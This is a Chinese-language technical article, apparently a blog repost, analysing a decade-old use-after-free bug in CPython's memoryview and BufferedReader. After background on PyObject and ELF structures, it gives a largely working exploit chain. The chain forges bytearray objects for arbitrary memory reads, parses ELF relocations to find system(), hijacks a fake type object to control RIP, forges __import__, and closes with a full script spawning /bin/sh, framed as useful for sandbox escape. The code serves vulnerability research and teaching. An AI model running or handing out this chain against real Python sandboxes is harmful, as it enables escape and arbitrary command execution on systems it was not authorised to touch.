一个潜藏10年的Python UAF漏洞
字数 1714 2025-08-27 12:33:37

Python UAF漏洞分析与利用技术详解

0x00 漏洞概述

本文详细分析一个潜伏10年的Python UAF(Use-After-Free)漏洞,该漏洞允许在特定条件下实现代码执行。漏洞最初由腾讯玄武实验室发现并公开,影响所有版本的CPython 3。

漏洞危害

  • 执行条件:需要能够执行Python代码的环境
  • 利用限制:在普通环境中可直接使用os.system(),但在受限沙箱环境中可能更有价值
  • 技术价值:通过非常规方式实现system('/bin/bash')的技术研究

漏洞影响

  • 影响对象:CPython(C语言编写的Python解释器)
  • 关键对象:memoryview对象的内存管理机制
  • 利用环境:作者提供的EXP针对Linux平台64位Python3

0x01 Python对象内存结构基础

1.1 PyObject基础结构

Python中所有对象都是PyObject的子类,在C中表示为结构体:

typedef struct _object {
    _PyObject_HEAD_EXTRA  // Release版本中不存在
    Py_ssize_t ob_refcnt;  // 引用计数
    PyTypeObject *ob_type; // 类型指针
} PyObject;

typedef struct {
    PyObject ob_base;
    Py_ssize_t ob_size;    // 变长对象包含的元素数量
} PyVarObject;

1.2 PyTypeObject类型对象

Python中的类也是对象,用PyTypeObject结构体表示:

struct _typeobject {
    PyObject_VAR_HEAD
    const char *tp_name;   // 类型名称
    Py_ssize_t tp_basicsize, tp_itemsize; // 分配大小信息
    // 方法实现
    destructor tp_dealloc;
    getattrfunc tp_getattr;
    setattrfunc tp_setattr;
    // ... 其他方法指针
};

关键字段:

  • tp_basicsize:对象基础数据长度
  • tp_itemsize:每个元素的长度
  • 各种函数指针(如tp_getattrtp_setattr等)

1.3 关键内置类型结构

bytearray对象

typedef struct {
    PyObject_VAR_HEAD
    Py_ssize_t ob_alloc;   // 分配字节数
    char *ob_bytes;        // 实际数据缓冲区
    char *ob_start;        // 逻辑起始位置
    Py_ssize_t ob_exports; // 缓冲区导出计数
} PyByteArrayObject;

bytes对象

typedef struct {
    PyObject_VAR_HEAD
    Py_hash_t ob_shash;
    char ob_sval[1];       // 实际数据存储(以null结尾)
} PyBytesObject;

list对象

typedef struct {
    PyObject_VAR_HEAD
    PyObject **ob_item;    // 元素指针数组
    Py_ssize_t allocated;  // 已分配空间
} PyListObject;

0x02 memoryview与关键函数

2.1 memoryview对象

memoryview是Python内置类,相当于指针:

  • 官方限制:只能指向支持缓冲区协议的对象(如bytes和bytearray)
  • 功能:提供对底层数据的直接访问,不复制数据
  • 安全性:记录长度信息,防止越界访问

2.2 id函数

id()返回对象在内存中的首地址:

x = object()
print(hex(id(x)))  # 输出对象内存地址

0x03 ELF文件结构基础

3.1 ELF文件头

typedef struct elf64_hdr {
    unsigned char e_ident[16];  // ELF魔数
    Elf64_Half e_type;         // 文件类型
    Elf64_Half e_machine;      // 机器类型
    Elf64_Word e_version;      // 版本
    Elf64_Addr e_entry;        // 入口点地址
    Elf64_Off e_phoff;         // 程序头表偏移
    Elf64_Off e_shoff;         // 节头表偏移
    // ... 其他字段
} Elf64_Ehdr;

关键信息:

  • e_ident:识别ELF文件格式(32/64位,大小端)
  • e_type:判断是否开启PIE(位置无关可执行文件)

3.2 Program Header Table

描述ELF文件如何映射到内存:

typedef struct elf64_phdr {
    Elf64_Word p_type;    // 段类型
    Elf64_Word p_flags;    // 段标志
    Elf64_Off p_offset;   // 文件偏移
    Elf64_Addr p_vaddr;   // 虚拟地址
    Elf64_Addr p_paddr;   // 物理地址
    Elf64_Xword p_filesz; // 文件大小
    Elf64_Xword p_memsz;  // 内存大小
    Elf64_Xword p_align;  // 对齐方式
} Elf64_Phdr;

重要段类型:

  • PT_LOAD(1):可加载段
  • PT_DYNAMIC(2):动态链接信息

3.3 .dynamic段

保存动态链接器需要的信息:

typedef struct {
    Elf64_Sxword d_tag;   // 项类型
    union {
        Elf64_Xword d_val;
        Elf64_Addr d_ptr;
    } d_un;
} Elf64_Dyn;

关键类型:

  • DT_STRTAB(5):动态字符串表地址
  • DT_SYMTAB(6):动态符号表地址
  • DT_JMPREL(23):PLT重定位表地址

3.4 重定位表

typedef struct elf64_rela {
    Elf64_Addr r_offset;   // 重定位地址
    Elf64_Xword r_info;    // 符号索引和类型
    Elf64_Sxword r_addend; // 加数
} Elf64_Rela;

0x04 漏洞分析与利用

4.1 漏洞原理

漏洞源于memoryview对象可以引用已释放的内存:

import io

class File(io.RawIOBase):
    def readinto(self, buf):
        global view
        view = buf  # 获取memoryview
    def readable(self): return True

f = io.BufferedReader(File())
f.read(1)  # 获取BufferedReader的缓冲区view
del f      # 释放缓冲区
view = view.cast('P')  # 将view转为指针类型
L = [None] * len(view) # 分配相同大小的list
view[0] = 0  # 修改已释放内存
print(L[0])  # 触发段错误

4.2 利用步骤

4.2.1 内存泄露技术

通过伪造bytearray对象实现任意内存读取:

def _create_fake_byte_array(self, addr, size):
    # 伪造bytearray对象结构
    byte_array_obj = flat(
        p64(10),            # refcount
        p64(id(bytearray)), # type
        p64(size),          # ob_size
        p64(size),          # ob_alloc
        p64(addr),          # ob_bytes
        p64(addr),          # ob_start
        p64(0x0)            # ob_exports
    )
    self.freed_buffer[0] = id(byte_array_obj) + 32
    return self.fake_objs[0][0:length]

4.2.2 寻找system函数地址

  1. 通过泄露的指针找到Python二进制基址
  2. 解析ELF文件头获取程序头表信息
  3. 定位.dynamic段获取动态链接信息
  4. 遍历重定位表找到system符号
def find_system(self):
    # 1. 找到二进制基址
    bin_base = self.find_bin_base()
    
    # 2. 解析ELF头
    data = self.leak(bin_base, 0x1000)
    phoff = u64(data[0x20:0x28])  # 程序头表偏移
    
    # 3. 找到.dynamic段
    for i in range(phnum):
        hdr = data[phoff + i*phentsize : ...]
        if u32(hdr[0:4]) == 2:  # PT_DYNAMIC
            dynamic = u64(hdr[0x10:0x18])
    
    # 4. 解析.dynamic段
    dynamic_data = self.leak(dynamic, 500)
    # 获取DT_STRTAB, DT_SYMTAB, DT_JMPREL
    
    # 5. 遍历重定位表找system
    rela_data = self.leak(rela, 0x1000)
    for i in range(...):
        entry = rela_data[i*24 : (i+1)*24]
        sym_idx = u64(entry[8:16]) >> 32
        sym = self.leak(symtab + sym_idx*24, 24)
        name_off = u32(sym[0:4])
        name = self.leak(strtab + name_off, 6)
        if name == b'system':
            system_got = u64(entry[0:8])
            return u64(self.leak(system_got, 8))

4.2.3 控制程序执行流

通过伪造对象和类型对象实现任意代码执行:

def set_rip(self, addr, obj_refcount=0x10):
    # 伪造类型对象
    type_obj = flat(
        p64(0xac1dc0de),    # refcount
        b'X'*0x68,          # padding
        p64(addr)*100       # 虚函数表
    )
    
    # 伪造PyObject
    data = flat(
        p64(obj_refcount),  # refcount (/bin/sh)
        p64(id(type_obj))   # 类型指针
    )
    
    self.freed_buffer[0] = id(data) + 32
    try:
        self.fake_objs[0].trigger  # 触发tp_getattro
    except:
        pass

4.3 彩蛋:open.__self__技巧

不使用import io而通过open.__self__获取io模块:

io = open.__self__  # 等价于_io模块

原理:

  1. openPyCFunctionObject对象
  2. __self__属性对应m_self字段
  3. _io模块初始化时将自身设置为open方法的m_self

0x05 替代利用思路:伪造import

5.1 寻找__import__方法描述

通过__builtins__模块结构找到__import__PyMethodDef

def find_import_def(p):
    # 获取__builtins__模块的md_def
    data = p.leak(id(__builtins__), 0x40)
    md_def_addr = u64(data[0x18:0x20])
    
    # 获取m_methods数组
    data = p.leak(md_def_addr, 0x48)
    m_methods_addr = u64(data[0x40:0x48])
    
    # 遍历方法描述找__import__
    for i in range(...):
        pyMethodDef = p.leak(m_methods_addr + i*0x20, 0x20)
        name_addr = u64(pyMethodDef[0:8])
        if name_addr != 0:
            name = p.leak(name_addr, 10)
            if name == b'__import__':
                return m_methods_addr + i*0x20

5.2 伪造import方法

def fake_import(cmd):
    p = Exploit()
    import_def = find_import_def(p)
    
    # 伪造PyCFunctionObject
    fake_obj = flat(
        p64(10),            # refcount
        p64(id(type(len))), # type (使用内置函数类型)
        p64(import_def),    # m_ml (方法描述)
        p64(id(__builtins__)), # m_self
        p64(0), p64(0), p64(0) # 其他字段置0
    )
    
    p.freed_buffer[0] = id(fake_obj) + 32
    os = p.fake_objs[0]("os")  # 调用伪造的__import__
    os.system(cmd)

0x06 完整利用代码

import io

# 工具函数
def u64(x): return int.from_bytes(x, 'little')
def p64(x): return x.to_bytes(8, 'little')
def flat(*args): return b''.join(args)

class File(io._RawIOBase):
    def readinto(self, buf):
        global view
        view = buf
    def readable(self): return True

class Exploit:
    def __init__(self):
        global view
        f = io.BufferedReader(File())
        f.read(1)
        del f
        view = view.cast('P')
        self.fake_objs = [None]*len(view)
        self.freed_buffer = view
        self.no_gc = []
    
    def _create_fake_byte_array(self, addr, size):
        byte_array_obj = flat(
            p64(10), p64(id(bytearray)), p64(size),
            p64(size), p64(addr), p64(addr), p64(0)
        )
        self.no_gc.append(byte_array_obj)
        self.freed_buffer[0] = id(byte_array_obj)+32
    
    def leak(self, addr, length):
        self._create_fake_byte_array(addr, length)
        return self.fake_objs[0][0:length]
    
    # ... 其他方法如前所述 ...

# 使用示例
e = Exploit()
system = e.find_system()
e.set_rip(system, obj_refcount=u64(b'\x2e/bin/sh\x00'))

0x07 总结

  1. 该UAF漏洞允许通过memoryview访问已释放内存
  2. 利用需要能够执行Python代码的环境
  3. 关键技术包括:
    • 伪造Python对象结构
    • 内存泄露技术
    • ELF文件解析
    • 控制流劫持
  4. 实际利用价值有限,但在沙箱逃逸等场景可能有奇效
  5. 展示了Python对象模型和内存管理的底层细节
Python UAF漏洞分析与利用技术详解 0x00 漏洞概述 本文详细分析一个潜伏10年的Python UAF(Use-After-Free)漏洞,该漏洞允许在特定条件下实现代码执行。漏洞最初由腾讯玄武实验室发现并公开,影响所有版本的CPython 3。 漏洞危害 执行条件 :需要能够执行Python代码的环境 利用限制 :在普通环境中可直接使用 os.system() ,但在受限沙箱环境中可能更有价值 技术价值 :通过非常规方式实现 system('/bin/bash') 的技术研究 漏洞影响 影响对象:CPython(C语言编写的Python解释器) 关键对象: memoryview 对象的内存管理机制 利用环境:作者提供的EXP针对Linux平台64位Python3 0x01 Python对象内存结构基础 1.1 PyObject基础结构 Python中所有对象都是PyObject的子类,在C中表示为结构体: 1.2 PyTypeObject类型对象 Python中的类也是对象,用PyTypeObject结构体表示: 关键字段: tp_basicsize :对象基础数据长度 tp_itemsize :每个元素的长度 各种函数指针(如 tp_getattr 、 tp_setattr 等) 1.3 关键内置类型结构 bytearray对象 bytes对象 list对象 0x02 memoryview与关键函数 2.1 memoryview对象 memoryview 是Python内置类,相当于指针: 官方限制:只能指向支持缓冲区协议的对象(如bytes和bytearray) 功能:提供对底层数据的直接访问,不复制数据 安全性:记录长度信息,防止越界访问 2.2 id函数 id() 返回对象在内存中的首地址: 0x03 ELF文件结构基础 3.1 ELF文件头 关键信息: e_ident :识别ELF文件格式(32/64位,大小端) e_type :判断是否开启PIE(位置无关可执行文件) 3.2 Program Header Table 描述ELF文件如何映射到内存: 重要段类型: PT_LOAD (1):可加载段 PT_DYNAMIC (2):动态链接信息 3.3 .dynamic段 保存动态链接器需要的信息: 关键类型: DT_STRTAB (5):动态字符串表地址 DT_SYMTAB (6):动态符号表地址 DT_JMPREL (23):PLT重定位表地址 3.4 重定位表 0x04 漏洞分析与利用 4.1 漏洞原理 漏洞源于 memoryview 对象可以引用已释放的内存: 4.2 利用步骤 4.2.1 内存泄露技术 通过伪造 bytearray 对象实现任意内存读取: 4.2.2 寻找system函数地址 通过泄露的指针找到Python二进制基址 解析ELF文件头获取程序头表信息 定位.dynamic段获取动态链接信息 遍历重定位表找到system符号 4.2.3 控制程序执行流 通过伪造对象和类型对象实现任意代码执行: 4.3 彩蛋:open.__ self__ 技巧 不使用 import io 而通过 open.__self__ 获取io模块: 原理: open 是 PyCFunctionObject 对象 __self__ 属性对应 m_self 字段 _io 模块初始化时将自身设置为 open 方法的 m_self 0x05 替代利用思路:伪造import 5.1 寻找__ import__ 方法描述 通过 __builtins__ 模块结构找到 __import__ 的 PyMethodDef : 5.2 伪造import方法 0x06 完整利用代码 0x07 总结 该UAF漏洞允许通过 memoryview 访问已释放内存 利用需要能够执行Python代码的环境 关键技术包括: 伪造Python对象结构 内存泄露技术 ELF文件解析 控制流劫持 实际利用价值有限,但在沙箱逃逸等场景可能有奇效 展示了Python对象模型和内存管理的底层细节